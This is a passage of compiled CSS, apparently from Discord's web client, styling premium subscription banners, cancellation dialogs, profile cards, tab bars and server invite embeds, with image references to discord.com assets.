  .promotionBody-2r_eLH { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: auto; text-align: center; }
}

.promotionImage-1HQo_l { max-height: 200px; max-width: 160px; }

@media (min-width: 485px) {
  .promotionImage-1HQo_l { margin-right: 16px; }
}

@media (max-width: 485px) {
  .promotionImage-1HQo_l { margin-top: 32px; margin-bottom: 32px; }
}

.promotionAccountIdentifier-16Eu6A { display: flex; align-content: center; -webkit-box-align: center; align-items: center; }

@media (max-width: 485px) {
  .promotionAccountIdentifier-16Eu6A { margin-top: 48px; -webkit-box-pack: center; justify-content: center; }
}

.promotionAccountIdentifier-16Eu6A a { margin-left: 4px; }

.promotionAccountIdentifierAvatar-1I8Olf { display: inline-flex; margin-left: 4px; margin-right: 4px; }

.promotionAccountIdentifierBody-28mJCQ { margin-top: 24px; }

.promotionAccountIdentifierError-3YuTdv { align-self: flex-start; margin-bottom: 8px; }

.promotionConfirmUpgrade-1n0HSQ p:first-child { margin-top: 0px; }

.promotionConfirmUpgrade-1n0HSQ ul { list-style: disc; padding-left: 16px; }

.title-9oNsnn { margin-bottom: 16px; }

.bodyText-ThtFMi { font-weight: 500; margin-bottom: 20px; }

.errorImage-22tjNJ { margin-top: 42px; margin-bottom: 12px; height: 111px; }

@media (max-width: 485px) {
  .errorFooter-eY2PQo { display: none; }
}

.button-6IFOWZ:active, .button-6IFOWZ:hover { background-color: rgb(255, 255, 255) !important; }

.button-6IFOWZ:active { transform: translateY(1px); }

.title-2lgHfT { font-size: 24px; line-height: 30px; margin-top: 20px; margin-bottom: 12px; }

.subtitle-2Zhsej { font-size: 16px; line-height: 20px; margin-bottom: 36px; }

.footer-_HFS4S { display: flex; -webkit-box-pack: end; justify-content: flex-end; width: 100%; }

.title-1hEY1x { margin-top: 20px; }

.subtitle-2q70I1, .title-1hEY1x { margin-bottom: 12px; }

.question-271yH5 { margin-bottom: 16px; }

.modal-1jWLC- { width: 440px; }

.otherField-3srSE0 { margin-left: 40px; margin-bottom: 20px; }

.footer-xpBMrz { display: flex; -webkit-box-pack: end; justify-content: flex-end; width: 100%; }

.theme-dark .whatYouLoseItem-5xtWvh { background: var(--background-tertiary); }

.theme-light .whatYouLoseItem-5xtWvh { background: var(--background-secondary); }

.body-2Cz1XP { color: var(--text-normal); font-size: 16px; line-height: 20px; padding-bottom: 16px; }

.body-2Cz1XP .title-3jXoyU { margin-top: 16px; font-weight: 600; }

.body-2Cz1XP .subtitle-1maKQP { margin-top: 10px; }

.whatYouLoseItemContainer-2Io__d { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; row-gap: 8px; margin-top: 16px; margin-bottom: 16px; }

.whatYouLoseItem-5xtWvh, .whatYouLoseItemContainer-2Io__d { display: flex; }

.whatYouLoseItem-5xtWvh { min-height: 140px; box-sizing: border-box; border-radius: 8px; padding: 16px; }

.whatYouLoseItemLeftColumn-1wRl4j { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: justify; justify-content: space-between; width: 100%; padding-right: 16px; }

.whatYouLoseItemLearnMore-1b7Bc5 { width: min-content; padding: 0px; }

.whatYouLoseItemRightColumn--CpaJb { display: flex; min-width: 180px; max-width: 180px; }

.textSingleLineEllipsis-1epRpP { display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.profileCard-tP9KA5 { background-color: var(--background-primary); border-radius: 8px; position: relative; width: 100%; overflow: hidden; }

.profileBanner-2t55Wz { height: 42px; overflow: hidden; }

.profileAvatar-_07v-k { position: absolute; top: 16px; left: 16px; }

.profileAvatarTier1-1e_3-7 { position: relative; top: 16px; left: 60px; }

.profileUserInfo-N2XOUH { -webkit-box-align: center; align-items: center; padding-top: 36px; padding-left: 16px; padding-right: 16px; }

.profileUserInfo-N2XOUH, .profileUserInfoTier1-4SQbZI { display: flex; }

.profileUserInfoTier1-4SQbZI { position: relative; -webkit-box-pack: center; justify-content: center; padding-top: 16px; }

.profileNameTag-qGhQ0f { font-weight: 600; font-size: 12px; line-height: 16px; max-width: 118px; }

.profileNameTagUsername-Atdavb { text-overflow: ellipsis; }

.profilePremiumIcon-1Sysm4 { margin-left: 6px; }

.personalizedEmoji-13XAhM { width: 58px; height: 58px; }

.emojiStickersPersonalizedContainer-G--DSe { width: 100%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.emojiStickersPersonalizedContainer-G--DSe :not(:last-child) { margin-right: 2px; }

.boostCardContainer-2fN9Pz { overflow: hidden; width: 100%; }

.boostCard-3WvvrJ { height: 100%; background-color: var(--background-primary); border-radius: 8px; box-sizing: border-box; padding: 10px; -webkit-box-flex: 1; flex-grow: 1; overflow: hidden; }

.boostCardIcon-1lY2r4 { flex-shrink: 0; margin-bottom: 4px; }

.boostCardInfo-2UQf-W { overflow: hidden; }

.boostCardTitle-2vzK5a { color: var(--header-primary); }

.boostCardSubtitle-3Pkbwo { display: flex; -webkit-box-align: center; align-items: center; padding-top: 2px; }

.boostCardGem-3UqhDZ { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); width: auto; height: 16px; margin-right: 4px; }

.boostCardCount-2FTY9B { color: var(--header-primary); opacity: 0.5; }

.body-o4R7g3 { color: var(--text-normal); font-size: 16px; line-height: 20px; padding-bottom: 16px; }

.invoiceTable-uozjUU { margin: 16px 0px; }

.errorBlock-148auo { margin-bottom: 16px; }

.cancelImage-BuMJnt { width: 166px; height: 144px; margin: 0px auto 24px; }

.previewStep-3m8dMV { padding-top: 16px; }

.loading-n5I-9N { height: 200px; }

.renewalInvoiceDate-3Dk4xC { margin-bottom: 16px; }

html .invoiceCancelRow-1YYT42 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .cancelImage-BuMJnt { background: url("https://discord.com/assets/40c7bc64839852a875c69b4bf2182676.svg"); }

.theme-light .cancelImage-BuMJnt { background: url("https://discord.com/assets/9aab26efad30d10d2a457e25b816bd76.svg"); }

.cancellationHeader-26-0Jt { margin-bottom: -4px; }

.whatYouLoseButtonContainer-24ab9l { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; }

.banner-3XaHoy { position: relative; border-radius: 4px; box-sizing: border-box; padding: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; max-width: 660px; color: rgb(255, 255, 255); background-repeat: no-repeat; background-position: 0px 0px; }

.bannerBackgroundImage-NDIypo { position: absolute; inset: 0px; background-repeat: no-repeat; background-image: url("https://discord.com/assets/849b82ae5737d6bc9e2e9aa775ae824e.svg"); }

.image-3-5Og3 { background-size: 100% 100%; height: 68px; width: 96px; flex-shrink: 0; margin-right: 8px; }

@media (max-width: 485px) {
  .image-3-5Og3 { display: none; }
}

.details-34KW0l, .image-3-5Og3 { position: relative; }

.tierGrandfathered-2hp2-B.banner-3XaHoy { background-image: linear-gradient(90deg,hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%) 75.25%); }

.tierGrandfathered-2hp2-B .image-3-5Og3 { background-image: url("https://discord.com/assets/dd7cd33166cc25b532bcbac1053d34aa.svg"); }

.tierGrandfathered-2hp2-B .planName-bg0dWv { width: 77px; height: 32px; }

.tier1-1oI1gz.banner-3XaHoy { background-image: linear-gradient(8.62deg,hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%) 75.25%); }

.tier1-1oI1gz .image-3-5Og3 { background-image: url("https://discord.com/assets/dd7cd33166cc25b532bcbac1053d34aa.svg"); }

.tier1-1oI1gz .discordWordmark-3HUoin { width: 41px; height: 16px; }

.tier1-1oI1gz .classicWordmark-EFr0jC { background-image: url("https://discord.com/assets/522d0515f2aff1feb5ab80b948593e20.svg"); width: 185px; height: 19px; }

.tier1-1oI1gz .details-34KW0l { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex: 1 1 auto; height: 100%; }

.tier1-1oI1gz.canceled-2yuIO- .image-3-5Og3, .tier1-1oI1gz.failedPayment-8F-JQr .image-3-5Og3 { background-image: url("https://discord.com/assets/f8944710e64871658f6db8d977b62442.svg"); }

.tier2-1iFKg1.banner-3XaHoy { background-image: linear-gradient(90deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); }

.tier2-1iFKg1 .image-3-5Og3 { background-image: url("https://discord.com/assets/4f3b99b76c1158fdd5606d1a782a1516.svg"); height: 68px; }

.tier2-1iFKg1 .planName-bg0dWv { width: 77px; height: 32px; }

.tier2-1iFKg1.canceled-2yuIO- .image-3-5Og3, .tier2-1iFKg1.failedPayment-8F-JQr .image-3-5Og3 { background-image: url("https://discord.com/assets/aca5d7597a3e0a6496c4833ed85aca34.svg"); }

.canceled-2yuIO-.banner-3XaHoy { background-image: linear-gradient(90deg, rgb(241, 134, 35), rgb(246, 161, 42) 56%, rgb(250, 185, 48)); }

.failedPayment-8F-JQr.banner-3XaHoy { background-image: linear-gradient(90deg, rgb(242, 90, 93), rgb(241, 78, 118) 77%, rgb(240, 74, 127)); }

.planInfo-I8yS5G { font-size: 16px; line-height: 20px; margin-top: 8px; }

.buttons-1g95eD { position: absolute; top: 16px; right: 20px; -webkit-box-pack: end; justify-content: flex-end; }

.buttons-1g95eD, .toolsButtons-3dv43E { display: flex; }

.toolsButton-i7SGzN { position: relative; margin-left: 16px; }

.externalButton-lhOaCx { text-transform: uppercase; }

.detailsContainer-2gceEa { display: flex; -webkit-box-align: center; align-items: center; }

.externalLink-11Wu-R { width: 100%; }

.theme-dark .container-1UZiH7 { background-color: rgb(47, 49, 54); }

.theme-light .container-1UZiH7 { background-color: rgba(246, 246, 247, 0.6); }

.root-2KVAwc { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); border-radius: 4px; display: flex; font-size: 14px; line-height: 18px; padding: 8px 16px; }

.infoIcon-1AYf69 { margin-right: 6px; width: 14px; height: 14px; }

.infoIcon-1AYf69, .text-6T1Zl5 { color: var(--interactive-normal); }

.text-6T1Zl5 { -webkit-box-flex: 1; flex-grow: 1; }

.cancelLink-2m1rdX { color: hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); font-weight: 600; white-space: nowrap; }

.modalBody-2nUa5k { color: var(--interactive-normal); font-size: 16px; line-height: 20px; margin-bottom: 16px; }

.section-2gGLDL { margin-bottom: 20px; }

.paymentBanner-3VEyjL { display: flex; -webkit-box-align: center; align-items: center; padding: 10px; background: var(--background-floating); border-radius: 4px; margin-bottom: 14px; }

.paymentBannerNew-3r4NV4 { position: relative; margin-top: 28px; }

.paymentBannerIcon-2bfgAF { width: 20px; height: 20px; }

.paymentBannerText-3T1hoA { margin-left: 8px; }

.renewalMutationNotice-2gsz6R { margin-bottom: 16px; }

.grandfatheredMessage-3gHA6f { border-radius: 3px; font-size: 12px; line-height: 1.25; padding: 8px 16px 8px 8px; display: flex; -webkit-box-align: center; align-items: center; background-image: linear-gradient(270deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%)); color: rgb(255, 255, 255); margin-bottom: 16px; }

.grandfatheredMessageText-3odxoO { margin-right: 16px; -webkit-box-flex: 1; flex: 1 1 0%; }

.grandfatheredIcon-38666Z { width: 24px; height: 24px; margin-right: 8px; flex-shrink: 0; align-self: flex-start; }

.subscriptionRows--Jy3Tl { margin-bottom: 32px; }

.guildSubscriptionRow-1lnM-H { margin-top: 16px; }

.premiumGuildSubscriptionRow-22TKl1 { border-radius: 4px; color: rgb(255, 255, 255); display: flex; -webkit-box-align: start; align-items: flex-start; font-size: 16px; line-height: 20px; padding: 16px; position: relative; }

.premiumGuildSubscriptionRowActive-25bfTh { background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); }

.premiumGuildSubscriptionRowActive-25bfTh .premiumGuildSubscriptionRowBackground-1kogcm { background-image: url("https://discord.com/assets/25d8e777eb5efc5f8f24dd0529e1c208.svg"); }

.premiumGuildSubscriptionRowActive-25bfTh .premiumGuildImage-1rhf1l { background-image: url("https://discord.com/assets/d9b856952d74569f7ea43a8924298f05.svg"); }

.premiumGuildSubscriptionRowCanceled-3-82-k { background-image: linear-gradient(90deg, rgb(241, 134, 35), rgb(246, 161, 42) 56%, rgb(250, 185, 48)); }

.premiumGuildSubscriptionRowCanceled-3-82-k .premiumGuildSubscriptionRowBackground-1kogcm { background-image: url("https://discord.com/assets/2163b069be6ff10ed16e101c980a7c0d.svg"); }

.premiumGuildSubscriptionRowCanceled-3-82-k .premiumGuildImage-1rhf1l { background-image: url("https://discord.com/assets/3abb539c6a85a5b8dcd4da5340d1a738.svg"); }

.premiumGuildSubscriptionRowFailedPayment-wJqZ0K { background-image: linear-gradient(90deg, rgb(242, 90, 93), rgb(241, 78, 118) 77%, rgb(240, 74, 127)); }

.premiumGuildSubscriptionRowFailedPayment-wJqZ0K .premiumGuildSubscriptionRowBackground-1kogcm { background-image: url("https://discord.com/assets/82724216ddca798abb9f00ba4a8664b1.svg"); }

.premiumGuildSubscriptionRowFailedPayment-wJqZ0K .premiumGuildImage-1rhf1l { background-image: url("https://discord.com/assets/27d1125b6bdbe688aff9b7ee87f4f9b7.svg"); }

.sectionTitle-1PidpJ { margin-bottom: 16px; }

.sectionDescription-24_zDW { color: var(--text-normal); line-height: 20px; margin-bottom: 16px; margin-top: 0px; }

.premiumGuildSubscriptionRowBackground-1kogcm { background-position: center bottom; position: absolute; inset: 0px; background-repeat: no-repeat; border-radius: 4px; }

.premiumGuildImage-1rhf1l { width: 96px; height: 54px; flex-shrink: 0; margin-right: 8px; position: relative; }

.premiumGuildSubscriptionRowBody-1LRmXW { -webkit-box-flex: 1; flex-grow: 1; position: relative; }

.premiumGuildWordmark-1KOY_C { background-image: url("https://discord.com/assets/bd6accf050484943dee720c8dcfe32de.svg"); width: 184px; height: 17px; margin-bottom: 16px; }

.details-2gDTD0 { display: flex; }

@media (max-width: 485px) {
  .details-2gDTD0 { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }
}

.detailsBlock-2mCK9A { flex-basis: 50%; -webkit-box-flex: 1; flex-grow: 1; margin-right: 16px; background-color: var(--background-secondary); border-radius: 5px; padding: 16px; min-width: 200px; }

@media (max-width: 485px) {
  .detailsBlock-2mCK9A { margin-right: 0px; margin-bottom: 20px; }
}

.paymentDropdownFinePrint-35TfAf { font-size: 12px; line-height: 16px; font-weight: 500; color: var(--text-muted); margin-top: 4px; }

.paymentDropdown-hXaJ5k { max-width: 400px; }

.redBorder-2N3wB4 { border-width: 1px; border-style: solid; border-image: initial; border-color: hsl(359,calc(var(--saturation-factor, 1)*83%),67.6%); }

.detailsBlock-2mCK9A:last-child { margin-right: 0px; }

.detailBlockHeader-11A9SV { margin-bottom: 8px; }

.billingInformation-2fz1mV { color: var(--text-normal); font-size: 14px; line-height: 18px; }

.finePrint-3AU0QB { margin-top: 16px; line-height: 1.4; color: var(--text-muted); }

.cardText-39ejcQ { padding-left: 8px; }

.noItemsCard-2LQ3Q2 { font-size: 16px; font-weight: 500; line-height: 20px; margin-top: 16px; padding: 16px 19px; border: none; color: var(--interactive-active); background-color: var(--background-secondary); }

.theme-dark .noItemsIcon-P3pRbO { background: rgb(79, 84, 92); }

.newSparkles-SWAqXh { position: absolute; width: 47px; height: 34px; top: -18px; left: -10px; }

.holidayPromotionAlreadySubscribedHeader-20zBEU { margin-bottom: 16px; }

.holidayPremiumIcon-xYiriw { height: 50px; margin-bottom: 20px; }

@media (max-width: 485px) {
  .holidayPromotionModal-1O0Qos { width: 100%; box-sizing: border-box; padding: 0px; }
}

.wrapper-2JeiFF { max-height: 100%; }

.spinnerWrapper-3MQVhb, .wrapper-2JeiFF { display: flex; }

.spinnerWrapper-3MQVhb { width: 100%; height: 100%; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.subscriptionDetails-2Kvtrl { background-color: var(--background-primary); min-width: 300px; max-width: 740px; box-shadow: var(--elevation-high); }

@media (max-width: 485px) {
  .subscriptionDetails-2Kvtrl { width: 100%; }
}

.subscriptionContainer-1tAUso { padding: 60px 40px 80px; border-radius: 4px; }

@media (max-width: 485px) {
  .subscriptionContainer-1tAUso { padding: 24px 16px 0px; }
}

.container-YB6rZD { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.container-YB6rZD, .iconButton-1oZvre { display: flex; -webkit-box-align: center; align-items: center; }

.iconButton-1oZvre { -webkit-box-pack: center; justify-content: center; }

.iconButton-1oZvre:hover { cursor: pointer; }

.iconButton-1oZvre:hover .icon-3erbBb { color: var(--interactive-active); }

.iconButton-1oZvre + .iconButton-1oZvre { margin-left: 16px; }

.iconButonDisabled-1_ABFn { color: var(--interactive-muted); }

.iconButonDisabled-1_ABFn:hover { cursor: not-allowed; }

.innerButton-tM_tu- { display: flex; -webkit-box-align: center; align-items: center; }

.button-35J-bp, .button-35J-bp + .button-35J-bp { margin-left: 8px; }

.buttonIcon-1D0xuF { margin-right: 4px; }

.icon-3erbBb { color: var(--header-secondary); }

.tooltips-rZ-Fzx { max-width: 280px; text-align: center; }

.header-2RyJ0Y, .item-PXvHYJ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; flex-shrink: 0; font-weight: 500; }

.header-2RyJ0Y { font-size: 12px; font-weight: 700; font-family: var(--font-display); line-height: 16px; text-transform: uppercase; color: var(--channels-default); }

.item-PXvHYJ { position: relative; font-size: 16px; line-height: 20px; cursor: pointer; }

.brand-1Zl8en.item-PXvHYJ, .themed-OHr7kt.item-PXvHYJ { color: var(--interactive-normal); }

.brand-1Zl8en.item-PXvHYJ:hover, .themed-OHr7kt.item-PXvHYJ:hover { color: var(--interactive-hover); }

.brand-1Zl8en.item-PXvHYJ:active, .themed-OHr7kt.item-PXvHYJ:active { color: var(--interactive-active); }

.separator-gCa7yv { background-color: var(--background-modifier-accent); }

.selected-3s45Ha.item-PXvHYJ, .selected-3s45Ha.item-PXvHYJ:hover { cursor: default; color: var(--interactive-active); }

.selected-3s45Ha { cursor: default; }

.disabled-1Hwwfb.item-PXvHYJ, .disabled-1Hwwfb.item-PXvHYJ:hover { cursor: default; color: var(--interactive-muted); }

.side-8zPYf6 { display: flex; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.side-8zPYf6 .header-2RyJ0Y, .side-8zPYf6 .item-PXvHYJ { padding: 6px 10px; }

.side-8zPYf6 .header-2RyJ0Y:first-child { padding-top: 0px; }

.side-8zPYf6 .item-PXvHYJ { padding-top: 6px; padding-bottom: 6px; margin-bottom: 2px; border-radius: 4px; }

.side-8zPYf6 .separator-gCa7yv { margin: 8px 10px; height: 1px; }

.top-28JiJ- { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.top-28JiJ- .item-PXvHYJ { border-bottom: 2px solid transparent; }

.top-28JiJ- .disabled-1Hwwfb.item-PXvHYJ { cursor: not-allowed; }

.top-28JiJ- .themed-OHr7kt.item-PXvHYJ:hover { border-bottom-color: var(--interactive-hover); }

.top-28JiJ- .selected-3s45Ha.themed-OHr7kt.item-PXvHYJ, .top-28JiJ- .themed-OHr7kt.item-PXvHYJ:active { border-bottom-color: var(--interactive-active); }

.top-28JiJ- .brand-1Zl8en.item-PXvHYJ:hover { border-bottom-color: var(--brand-experiment); }

.top-28JiJ- .brand-1Zl8en.item-PXvHYJ:active, .top-28JiJ- .brand-1Zl8en.selected-3s45Ha.item-PXvHYJ { border-bottom-color: var(--control-brand-foreground); }

.top-28JiJ- .disabled-1Hwwfb.brand-1Zl8en.item-PXvHYJ:hover, .top-28JiJ- .disabled-1Hwwfb.themed-OHr7kt.item-PXvHYJ:hover { border-bottom-color: transparent; }

.topPill-30KHOu { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.topPill-30KHOu .item-PXvHYJ { border-radius: 4px; margin: 0px 8px; padding: 2px 8px; }

.topPill-30KHOu .separator-gCa7yv { width: 1px; }

.side-8zPYf6 .themed-OHr7kt.item-PXvHYJ:hover:not(.disabled-1Hwwfb), .topPill-30KHOu .themed-OHr7kt.item-PXvHYJ:hover:not(.disabled-1Hwwfb) { background-color: var(--background-modifier-hover); }

.side-8zPYf6 .themed-OHr7kt.item-PXvHYJ:active:not(.disabled-1Hwwfb), .topPill-30KHOu .themed-OHr7kt.item-PXvHYJ:active:not(.disabled-1Hwwfb) { background-color: var(--background-modifier-active); }

.side-8zPYf6 .themed-OHr7kt.selected-3s45Ha.item-PXvHYJ, .topPill-30KHOu .themed-OHr7kt.selected-3s45Ha.item-PXvHYJ { background-color: var(--background-modifier-selected); }

.tabBar-1dQ5AK { padding-top: 1px; margin-bottom: -2px; }

.tabBarItem-1nATS- { margin-right: 40px; padding-bottom: 16px; border-bottom: 2px solid transparent; font-size: 14px; }

.container-1dt-Qg { display: flex; padding-top: 16px; padding-left: 16px; padding-bottom: 1px; border-bottom: 1px solid var(--background-modifier-accent); }

.closeIcon-1KEJ9m { color: var(--interactive-normal); margin-right: 8px; }

.closeButton-2FT_jw { position: absolute; top: 16px; right: 8px; }

.closeButton-2FT_jw:hover { cursor: pointer; }

.closeButton-2FT_jw:hover .closeIcon-1KEJ9m { color: var(--interactive-active); }

.wrapper-35wsBm { background-color: var(--background-secondary); border-radius: 4px; padding: 16px; width: 432px; box-sizing: border-box; }

.header-2BTCnc { font-weight: 700; margin-bottom: 12px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--interactive-normal); }

.content-2U5lSY { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-flow: row nowrap; }

.guildIcon-lQ0uiM { background-color: var(--background-primary); margin-right: 16px; -webkit-box-flex: 0; flex: 0 0 auto; }

.applicationIcon-2SXfFQ { width: 48px; height: 48px; }

.guildIconJoined-1r7FRE { cursor: pointer; }

.guildIconImage-3qTk45, .guildIconJoined-1r7FRE { }

.guildIconImageJoined-SepVdI { cursor: pointer; }

.inviteDestination-1fAcY7 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-bottom: 2px; }

.inviteDestinationJoined-3W7Gue { cursor: pointer; }

.inviteDestinationJoined-3W7Gue:hover { text-decoration: underline; }

.channel-2hXUOG { -webkit-box-align: center; align-items: center; display: flex; }

.channelName-3ZF3rq { -webkit-box-flex: 1; flex: 1 1 auto; margin-left: 4px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.channelIcon-11pgiB { color: var(--text-muted); }

.channelIcon-11pgiB, .status-2L8Zc7 { -webkit-box-flex: 0; flex: 0 0 auto; }

.status-2L8Zc7 { display: block; margin-right: 4px; width: 8px; height: 8px; border-radius: 50%; }

.statusOnline-8PnF5L { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.statusOffline-37RKt7 { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.count-30T-5k { -webkit-box-flex: 0; flex: 0 1 auto; margin-right: 8px; color: var(--interactive-normal); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.count-30T-5k:last-child { margin-right: 0px; }

.guildNameWrapper-1RQYer { -webkit-box-align: center; align-items: center; display: flex; }

.guildName-2hvnt_ { -webkit-box-flex: 1; flex: 1 1 auto; min-width: 0px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.guildBadge-1w1qIy { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; }

.guildInfo-1STtYi { min-width: 1px; }

.guildDetail-1nRKNE { font-size: 14px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--interactive-normal); line-height: 16px; }

.statusCounts-2qk4EE { display: flex; -webkit-box-align: center; align-items: center; }

.inviteSplash-19Jlo6 { background-color: var(--background-modifier-accent); border-radius: 4px 4px 0px 0px; height: 225px; margin: -16px -16px 16px; overflow: hidden; }

.inviteSplashImage-O0wmIQ { display: block; object-fit: cover; opacity: 0; transition: opacity 0.125s ease 0s; width: 100%; height: 100%; }

.inviteSplashImageLoaded-2ML87V { opacity: 1; }

.button-3To2tQ { align-self: center; margin-left: 10px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; -webkit-box-flex: 0; flex: 0 0 auto; }

.button-3To2tQ.buttonSize-DbrWhv { height: 40px; padding-left: 20px; padding-right: 20px; }

.guildIconExpired-2Qcq05 { background-color: var(--background-secondary); background-size: 50px 26px; background-repeat: no-repeat; border-radius: 12px; background-position: 50% center; width: 48px; height: 48px; }

.inviteDestinationExpired-2_1Ava { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.buttonForNonMember-ZsTpwI { display: block; margin-left: 0px; margin-top: 16px; width: 100%; }

@-webkit-keyframes invite-button-resolving-366-1w { 
  0% { transform: translate3d(-380px, 0px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(-380px, 0px, 0px); }
}

@keyframes invite-button-resolving-366-1w { 
  0% { transform: translate3d(-380px, 0px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(-380px, 0px, 0px); }
}

.resolving-1GhcbM { -webkit-mask: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'374'%20height%3D'50'%3E%3Cpath%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%20d%3D'M311%206h60c1.657%200%203%201.343%203%203v32c0%201.657-1.343%203-3%203h-60c-1.657%200-3-1.343-3-3V9c0-1.657%201.343-3%203-3zM62%206h124c1.657%200%203%201.343%203%203v14c0%201.657-1.343%203-3%203H62c-1.657%200-3-1.343-3-3V9c0-1.657%201.343-3%203-3zm0%2024h194c1.657%200%203%201.343%203%203v10c0%201.657-1.343%203-3%203H62c-1.657%200-3-1.343-3-3V33c0-1.657%201.343-3%203-3zM19.23%200h11.54c6.687%200%209.112.696%2011.556%202.003%202.445%201.308%204.363%203.226%205.67%205.67C49.306%2010.12%2050%2012.543%2050%2019.23v11.54c0%206.687-.696%209.112-2.003%2011.556-1.308%202.445-3.226%204.363-5.67%205.67C39.88%2049.306%2037.457%2050%2030.77%2050H19.23c-6.687%200-9.112-.696-11.556-2.003-2.445-1.308-4.363-3.226-5.67-5.67C.694%2039.88%200%2037.457%200%2030.77V19.23c0-6.687.696-9.112%202.003-11.556C3.31%205.23%205.23%203.31%207.673%202.004%2010.12.694%2012.543%200%2019.23%200z'%2F%3E%3C%2Fsvg%3E") 0% 0% / 100%; mask: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'374'%20height%3D'50'%3E%3Cpath%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%20d%3D'M311%206h60c1.657%200%203%201.343%203%203v32c0%201.657-1.343%203-3%203h-60c-1.657%200-3-1.343-3-3V9c0-1.657%201.343-3%203-3zM62%206h124c1.657%200%203%201.343%203%203v14c0%201.657-1.343%203-3%203H62c-1.657%200-3-1.343-3-3V9c0-1.657%201.343-3%203-3zm0%2024h194c1.657%200%203%201.343%203%203v10c0%201.657-1.343%203-3%203H62c-1.657%200-3-1.343-3-3V33c0-1.657%201.343-3%203-3zM19.23%200h11.54c6.687%200%209.112.696%2011.556%202.003%202.445%201.308%204.363%203.226%205.67%205.67C49.306%2010.12%2050%2012.543%2050%2019.23v11.54c0%206.687-.696%209.112-2.003%2011.556-1.308%202.445-3.226%204.363-5.67%205.67C39.88%2049.306%2037.457%2050%2030.77%2050H19.23c-6.687%200-9.112-.696-11.556-2.003-2.445-1.308-4.363-3.226-5.67-5.67C.694%2039.88%200%2037.457%200%2030.77V19.23c0-6.687.696-9.112%202.003-11.556C3.31%205.23%205.23%203.31%207.673%202.004%2010.12.694%2012.543%200%2019.23%200z'%2F%3E%3C%2Fsvg%3E"); mask-type: luminance; width: 380px; height: 50px; position: relative; }

.resolvingBackground-351jK_ { position: absolute; top: 0px; bottom: 0px; left: 0px; width: 760px; animation: 4s ease-in-out 0s infinite normal none running invite-button-resolving-366-1w; }

.theme-light .guildIconImage-3qTk45 { background-color: rgb(255, 255, 255); }

.theme-light .guildIconExpired-2Qcq05 { background-image: url("https://discord.com/assets/feaff2557c548146aad83669db695e0b.svg"); }

.theme-light .resolvingBackground-351jK_ { background-image: linear-gradient(90deg, rgb(246, 246, 247), rgb(220, 221, 222), rgb(246, 246, 247)); }

.theme-dark .guildIconImage-3qTk45 { background-color: rgb(54, 57, 63); }

.theme-dark .guildIconExpired-2Qcq05 { background-image: url("https://discord.com/assets/9a31e0f65d520cc12d7f42374d59a2d1.svg"); }

.theme-dark .resolvingBackground-351jK_ { background-image: linear-gradient(90deg, rgb(54, 57, 63), rgb(79, 84, 92), rgb(54, 57, 63)); }

.theme-dark .background-opacity-low .wrapper-35wsBm { background: rgba(47, 49, 54, 0.3); }

.theme-dark .background-opacity-low .header-2BTCnc { text-shadow: rgb(32, 34, 37) 0px 0px 1px, rgb(32, 34, 37) 1px 1px 0px; }

.theme-dark .background-opacity-low .button-3To2tQ { opacity: 0.8; }

.theme-dark .background-opacity-medium .wrapper-35wsBm { background: rgba(47, 49, 54, 0.5); }

.theme-dark .background-opacity-medium .header-2BTCnc { text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

